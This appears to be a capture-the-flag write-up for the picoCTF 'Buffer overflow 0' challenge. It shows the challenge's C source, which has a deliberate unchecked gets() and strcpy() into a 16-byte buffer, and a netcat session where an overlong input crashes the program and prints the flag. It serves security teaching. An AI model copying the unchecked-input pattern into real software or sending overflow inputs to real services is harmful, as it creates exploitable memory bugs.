Buffer overflow 0

Buffer overflow 0

June 16, 2022
1 min read
0

Buffer overflow 0

Solver
e enscribe
Authors
Alex Fulton, Palash Oswal
Category
pwn
Points
100
Files
vuln vuln.c
Remote
$ nc saturn.picoctf.net [PORT]
Flag
picoCTF{ov3rfl0ws_ar3nt_that_bad_[REDACTED]}

Smash the stack! Let’s start off simple: can you overflow the correct buffer?

For each of the following challenges, I’ll add the output of the checksec command, which shows the security settings of the binary:

Terminal window
$ checksec vuln
[*] '/home/kali/ctfs/pico22/buffer-overflow-0/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

Let’s now check out our source code:

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}

The first thing we should do is check how the flag is printed. Looks like it’s handled in a sigsegv_handler() function:

vuln.c
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}

Researching online, a “SIGSEGV” stands for a segmentation fault, which is an error raised by memory-protected hardware whenever it tries to access a memory address that is either restricted or does not exist. If the flag printf() resides within sigsegv_handler(), then we can safely assume that we must figure out how to trigger a segmentation fault.

We see that on line 40, the horrible gets() is called, and reads buf1 (the user input) onto the stack. This function sucks, as it will write the user’s input to the stack without regard to its allocated length. The user can simply overflow this length, and the program will pass their input into the vuln() function to trigger a segmentation fault:

Terminal window
$ nc saturn.picoctf.net 65535
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_[REDACTED]}